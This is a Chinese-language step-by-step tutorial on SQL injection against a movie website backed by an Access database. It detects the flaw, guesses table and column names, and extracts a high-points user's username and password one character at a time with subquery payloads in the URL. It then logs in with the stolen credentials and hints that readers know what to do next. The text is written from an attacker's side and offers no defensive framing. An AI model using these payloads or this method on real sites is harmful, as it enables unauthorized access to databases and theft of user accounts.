| 1 寻找目标
尝试有传入参数的页面，测试是否有SQL注入漏洞，例如：把网址栏的ID=451加个'号，如果提示表达式错误，表示有漏洞可注入，而且，通过这个方式可以得到程序所用的数据库类型等有用信息。
经测试，发现有几个页面有注入漏洞，现在我们从http://www.***.com/movie.asp?ID=451入手，输入http://www.***.com/movie.asp?ID=451'，得到信息：数据库用是的ACCESS，提示 :
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'articleID=394'' 中。
/movie.asp，行9
由此断定可以注入。
2 猜测表名
查清楚敌人情况之后，开始行动，行动的第一步从猜表名开始，http://www.***.com/movie.asp?ID=451，把451改成(select count(1) from user)，那么，他原来的SQL语句将会变成：
Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
如果猜对表名，将有可能出现下面三种情况：
A.显示某部影片的信息（巧合的情况）
B.显示影片找不到（如果有判断是否为EOF）
C.提示错误信息（EOF OR BOF）
如果猜错，将会直接提示找不到表名。
把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试，一般成功率都不低于85%
结果，成功猜中该网站的用户名表名为users
3 猜测列名
把(select count(1) from users)改成(select count(id) from users)，如没提示"找不到字段"就表示字段名是正确的，字段一般不用太费力。
果然，这个网站也不例外，用户表中字段为ID(数字)，UserID(文本)，Password（文本），积分字段猜得比较费劲，为money
4确定目标
让users表只返回money最多的一个记录，以便进行猜解、并避免猜中一些没money的用户名：
http://www.***.com/movie.asp?ID=(select 100 from user where money>1000) 结果：提示子查询不能返回两条以上记录
锁定>10000，提示不变；
锁定>100000，提示找不到记录，说明没有积分大于10万的用户；
从1万到10万逐步缩小范围，得知积分大于338800只有一条记录。
5 计算用户名及密码长度
因为影片的ID大概从100-1500之间，可以用UserID的长度+100得出的数（即影片ID）计算用户名长度，键入：
http://www.***.com/movie.asp?ID=(select len(UserID) %2B 100 from user where mone>338800)
%2B是什么？因为地址栏的+号request出来会变成空格，所以+号要用UrlEncode过的%2B表示。
结果返回片名为《少女高潮》的影片，呵呵，怎么办？不是有搜索功能吗？拿去搜一下，看看影片ID是多少吧。
搜索，得出影片ID是104，显然，用户名长度为104-100=4；同样方法，得出密码的长度为6
6 分步破解用户名
有点SQL应用经验的人应该都想到方法了，敲入：
http://www.***.com/movie.asp?ID=(select asc(mid(UserID,1,1)) %2B 100 from user where money>338800)
呵呵，又返回一部影片，搜索一下，影片ID为216，即asc(mid(UserID,1,1))=116
同样方法，得出：
asc(mid(UserID,2,1))=116
asc(mid(UserID,3,1))=102
asc(mid(UserID,4,1))=102
因为len(UserID)=4，所以算到第4位就行了，查asc对应表（会编程的可以写几句话算出来），chr(116)=t，chr(116)=t，chr(102)=f，chr(102)=f，
连起来，用户名就是ttff
7.同样的方法破解密码
asc(mid(Password,1,1))=54=> chr(54)=6
asc(mid(Password,2,1))=53 => chr(53)=5
asc(mid(Password,3,1))=52 => chr(52)=4
asc(mid(Password,4,1))=49 => chr(49)=1
asc(mid(Password,5,1))=50 => chr(50)=2
asc(mid(Password,6,1))=51 =>chr(51)=3；拼起来：654123
接下来，输入用户名和密码，登录系统，成功！接下来做什么？只要你不傻我相信你就知道作什么。
|